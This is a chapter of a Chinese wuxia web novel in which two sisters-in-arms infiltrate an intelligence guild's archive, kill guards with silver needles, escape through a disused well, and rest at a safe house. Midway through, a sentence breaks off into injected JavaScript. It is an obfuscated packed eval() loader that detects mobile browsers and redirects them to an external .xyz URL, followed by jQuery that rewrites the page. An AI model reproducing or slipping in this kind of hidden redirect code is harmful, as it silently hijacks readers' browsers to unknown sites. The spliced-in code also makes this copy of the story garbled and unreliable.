11. 银针
作品:《故家乔木》 顾诗发现自己被困在这里的时候,是她发现异闻录的伙计还没到酉时就已经消失了。她出了房门在这个被单独隔出来的地方转了一圈,发现自己找不出出口就歇了心思,在房间里等着安乔来寻她。
苏璟早早离开,去了客栈大堂,房间里只剩下她一个。
于是乎,等安乔找到顾诗时,她正悠哉悠哉地抛着枣吃。听到门口传来的动静,她转头看到安乔,她撑着椅背,把腿从扶手上放了下来,起身迎了过去。
“小六,你终于来啦!”顾诗凑过去将安乔揽进怀里,“等你好久了。”
听起来她似乎一点也不担心安乔找不到她。
“师叔呢?”安乔在房内并没有看见苏璟。
“他?他说戌时二刻和我们汇合,让我们抓紧时间。”顾诗似乎意识到抛开师叔这个身份,苏璟这个人不过是个与他们年纪相仿的少年罢了。
不管他在外有什么样的名声,总归,他们是同门。
“那我们得快些了。”安乔拉着顾诗的手往外走,她怕迟则生变,更何况这里是个客栈,鱼龙混杂,什么人都有。
顾诗出了房门就自觉压低了声音,“小六,你找到文阁在哪了?”
“虽并未找到确切位置,但总不会找错的。”安乔此言笃定,她带着顾诗到了刚刚自己进来的那个入口。
安乔在找到顾诗前误打误撞的碰到了地上的灯架,而这一碰恰巧让面前的墙缓缓移开,露出了背后的走道。
看着那个被转动的灯架,安乔忽然笑了出来,好荒唐的机关,难怪要派个人守着。
安乔目前已经知道了两个房间的位置,哪怕这机关再玄妙也抵不住人强行破解,再说了,这机关现在的运行全都由安乔做决定。
不多时,安乔便和顾诗来到一扇门前。
她们并肩而立,双双看着面前的这扇门静默不语,门后是什么她们并不能确定,可来到这扇门前就已经废了她们不少力气。
顾诗与安乔对视了一眼,“确定是这一间吗?”
“不确定,但不是还有师姐你吗?”安乔有些紧张,但还是笑着说道。
安乔的手附在了门上,她吐出一口气,手上一个用劲,门,打开了。
门后有人发出一声厉喝,“谁!”一道人影窜至门前,手中的一柄长剑当空劈来,在门上投出一道长长的影子来。
“闪开!”顾诗迅速反应过来,在挡在安乔身前的同时抬手便是一排银针飞了出去,她抬脚将门彻底踹开。门后的人也被一脚踹倒在地上。
安乔跟着顾诗走了进去,路过时瞥了一眼,银针入喉,已经死透了。
好在一个文阁,除了刚刚这么一个人外就再没别的看守,身后的门在她们进来后就已经被关上,顾诗匆匆走进那些高大的架子之间。
她忙着找消息,安乔自然不会去打扰她,站在一边的架子研究起异闻录是如何归整消息的。
本以为这异闻录还会使点什么心思在上面,可没想到仅仅只是按照地方人物门派给消息分了个大概。
若是如此,安乔透过架子之间的空隙偷偷去瞧正背对着她翻找消息的顾诗,师姐找的是什么消息呢?
跟师门有关?不对,师姐从不关心门派事务,虽然本来也没什么事务。那么,肯定也不会跟师兄们有关了。
那就只剩下师姐的亲人了。安乔记得师姐很少提起家中亲属,逢年过节她也从不下山,每次都跟着她和师父凑活着一起过。
到底是什么消息能让师姐一守就是这么多天,安乔有些抓耳挠腮,实在是好奇极了。
顾诗的动作忽然停了下来,这是已经找到了,安乔想,她突然听到顾诗的一声冷笑。待她走出来后,安乔又用余光瞄到了她眼中一闪而过的寒意。
“走吧。”
安乔不敢多言,紧跟在她身后走了出去。
“我们今日就离开客栈,你回房间换衣服,待苏璟回来我们就走,趁夜离开,曲阳镇上我有一处住所,你们先跟我去那。”
“师姐,一会我们怎么出去啊?”安乔一进房间就迫不及待摘下人皮面具,去柜子里找了一套衣服到屏风后换了起来。
“拉绳子,自然会有人来带我们出去。”顾诗进屋后就顺势坐到桌上,拣了几颗枣扔着吃了起来,“到时候你和苏璟在前面,我偷偷跟在你们后面就好。”
安乔换了衣服,舒坦许多,把铃铛挂在腰间,把头发里藏着的铃铛也都拿了下来放进自己的布袋里也挂到腰间。
她收拾好行李,戴上面具,这样苏璟一回来他们就能立马出发。
不多时,门就被推开来,苏璟进门扫了这两个人一眼,把面具推了上去问道:“晚上就走?”
“师叔,师姐说她在曲阳镇有住处,我们可以去那。”安乔迎了上去,凑到苏璟身边说道。
他看向顾诗,“消息拿到了?”
“拿到了,有我们安小乔在,怎么可能没拿到?”顾诗从桌上下来,伸了个懒腰,“行了,我们该走了。”
“也好,”苏璟忽然笑了起来,“正好我在这惹了点小麻烦,是得快点走。”
他抬手扯了扯从梁上悬下来的绳子,及时堵住安乔的嘴,“不必多问,不是什么特别大的麻烦,跟主管透露了一点消息罢了。”其实并不怎么重要,只是若传到异闻录的主人的耳朵里可就不是这样了。
伙计似乎是跑着来的,脚步重重的,隔着房门都能听见,他敲了敲门,苏璟和安乔就拉开门走了出去,“我们今晚退房,引我们离开吧。”
伙计躬身行礼,随即便在他们跟前引他们前往离开的地方。走道上仍没有其他人守着,也因此顾诗跟得分外轻松,没过多久他们就到了出口,顾诗躲在拐角,避开了守在出口的两个人的视线。
出口的门一开,便有三枚银针从顾诗手中刺出,划过空气,泛着冷冽的芒,直击两人面门以及那伙计的后颈,三人倒在了地上。
安乔离开时想,今夜之后异闻录或许就要进行大变革了,如此多的漏洞偏生今日让他们钻了个干净。不过,如此多奇奇怪怪的规矩,还真是一个古怪的情报组织。
安乔他们进客栈用了不少时间,这出客栈倒快了不少,只是出来的方式让人啼笑皆非。安乔不过望着这高高的井口愣了一会,就被身后的顾诗催促着快些动起来。
“师姐,他们怎么把这出口设置的如此奇奇怪怪,”安乔费劲地抓着把手跟在苏璟后头往上爬。
“那还不是为了有些不想让人知道自己行踪的人,”看安乔如此费力她毫不留情地笑了出来,“哎,小六怎么爬得如此费劲,要不要师姐帮帮你?”
“师姐!?”
上方传来安乔恼羞成怒的声音。
这哪能怪她?就是这把手之间的距离设置的太过远了,才让她找不准脚应该踩在哪里,她要时不时回头看一眼确认自己没有踩空,更何况她脚还没好全呢,脚上使不得力。
“好了好了,脚上还痛是不是?你慢点,不着急。”顾诗总是这样一边把人人惹恼了,一边乐颠颠的去哄她。
安乔一声不吭,不愿理她。
苏璟在井口伸手把安乔拉了上来,见安乔气鼓鼓的,没忍住笑了出来,被见着的安乔瞪了一眼。
他边笑边道歉,“我不笑了,你受伤了你最大,你行行好,别生我的气。”他可是见过安乔生气时那副要毁天灭地的模样,这火还是别烧到他身上的好。
顾诗前面没了安乔,只慢她一步就从井里出来了。
这井正好处于百姓聚居的地,只是报废了,又在角落里没什么人在意,就被异闻录挖通了用作出口。
顾诗确认了位置,她的住处正好就在附近。她上前揽着别扭的安乔带她往西边走,一边哄着,又时不时气上一句,哄了一路都没哄好。
月亮悄悄挂上树梢,这城西住的都是些靠劳作吃饭的小户人家,此刻都为了明天的生计早早睡去,空荡荡的街道,一片寂静。
安乔在床上躺着好好的,突然被顾诗从背后压着。
她偏着脑袋在黑暗中妄图看清安乔的神色,嘴上十分讨好的说着,“小六还生气呢?”
“我可不敢生师姐的气,夜深了,你我还是早些睡吧。”这次安乔可没那么好哄。
顾诗跟她贴的更近了,见怎么也哄不好她只能用上最后一招,“小六——我们好久没见了,没有什么想跟师姐说的吗?师姐很想很想你的。”
说完她静静等着安乔的反应,不一会儿安乔就动了动手,顾诗松了力,安乔就翻了个个缩进她的怀里。
“我也很想很想师姐的。”
这是消气了。
顾诗乘胜追击,“没有什么事想和师姐说吗?”
安乔就絮絮叨叨了起来,讲师父做的春笋有多么好吃,她还想再吃一顿,讲三水镇有多好玩,讲自己其实觉得霍先生以前一定很严厉,讲自己在小南山其实很害怕但是没有表现出来,讲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137448|180303||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己也体会到了杀人是什么感觉。讲着讲着,她的声音越来越小。
就这么睡去了。
顾诗抱着她,拍了拍她的脑袋,忽然觉得眼眶有些酸涩,她的小安乔,她一手带大的姑娘,她盼她平安顺遂,不入江湖,一直无忧无虑。
可她才下山这么几天,就受了这么多苦。她胆子不大,在山中遇见野兽都要往他们几个身后躲,她怕疼,一受伤就呼天喊地,她爱懒,能让别人动手的事情,就绝对不会自己动手。
安乔好像就在这么几天长大了许多,用顾诗最不愿见到的方式。
师父,顾诗想,我们师门又要多一个跟我们一样的人了。
安乔第二日被她师姐叫了起来。
“小六,起床了,莫要再犯懒了,起床练功了。”
她闷在被子里,“师姐,再睡一刻,就一刻。”
“还睡?师父要罚你抄门规了。”
安乔一下坐了起来,“唔——这便起来了师姐帮我求求情,别让师父罚我。”说完她意识回笼,半眯着眼,迷迷糊糊道:“师姐,你又乱说,师父现在又在。”
“你呀,”顾诗把她从被子里剥出来,“就趁着师父现在不在吧,几日没练功了?”
安乔赖床不成,只能爬了起来。坐到院里的桌边上,有一搭没一搭地舀着碗里的白粥,心情看起来很不错。
外面阳光正好,晒得人暖洋洋的,苏璟正好使完一套剑法,把用作剑的木棍倚到墙边。
“睡了个好觉?”他坐到她一边,瞧见安乔还算不错的面色。
“挺好的,就是睡不够。”安乔自下山后后难得睡个安稳觉,无比可惜没睡久一点,这么一说就被身后走过来的顾诗敲了脑袋。
“你什么时候睡够过?”
又被师姐拆了台,安乔选择不与她争辩,安安静静地喝着粥。
“师姐,不会这么久了,你还是只会熬粥吧?”安乔喝完碗里的粥,突然这么说道。
顾诗猛地的呛到,咳了半天,面色涨红,“那又如何,我只要养活自己一个就够了。”虽然这白粥她也确实喝腻了。
安乔成功扳回一城,眉梢都挂着得意,但还知道收敛,抿着唇,眼睛都笑得眯了起来,真是洋洋得意。
“行了行了,你和苏璟就在这里好好待着,我出去购置做面具的原料,还有什么东西需要我给你们带回来吗?”顾诗吃好收拾碗筷准备出去一趟。
她一看安乔那副欲言又止的模样就知道她心里在想些什么,“零嘴就别想了,你师姐我身上没剩下几个子儿了。”
安乔颇为遗憾地收回自己粘在顾诗身上的视线,但她突然又想起了什么,“师姐,你还记得二师兄说过,用什么浸泡我那木盒能让它暂时失效吗?”
这倒是问到了点上,顾诗也已经有些记不大清了,“你要做什么?”
“我想给它装条背带上去。”这样子就便于携带了。
安乔可不想每日再背个包袱四处行走了,看她师姐和师叔都是孑然一身,来去如风的。只有她整日背着个包袱,看起来实在笨得很,一点没有行走江湖的样子。
“那把你的木盒直接给我吧,我出门装好了给你带回来,还有你那铃铛呢?要不要给你再打些回来?”她说的是安乔布袋里装的那些铜铃铛,她记得那些一直是消耗品,每次有人上下山都要给她带上几大袋。
安乔思忖了一下,虽然下山后她就没怎么用过,但还是再备些吧,机不可失失不再来嘛。
“嘻嘻,师姐最好啦!”安乔眉开眼笑,笑得比这阳光还要灿烂些。
顾诗看她笑成这样,摇摇脑袋叹了口气,一副不太省心的样子,“唉,没了我你可怎么办呀。”
安乔重复道:“没了师姐我可怎么办啊。”
做人皮面具需要时间,打铃铛也需要时间,还有就是安乔的那个木盒,她实在记不清用什么药材了,她已经寄信去问了,希望能早日得到回信。
安乔也就需要在她这多住上几日,正好也养几日她脚上的伤。
本以为苏璟会提出要快些动身,没想到他并没什么异议,欣然接受,并吩咐安乔待在这里不要出去。
这几日安乔过得是百无聊赖,既不能出去,又被盯着练功。
而苏璟却在这几日里出去了好几趟,不知忙了些什么,但他武功高强,还轮不到安乔担心。
就在安乔觉得自己快要长出毛毛来时,她二师兄的回信到了。

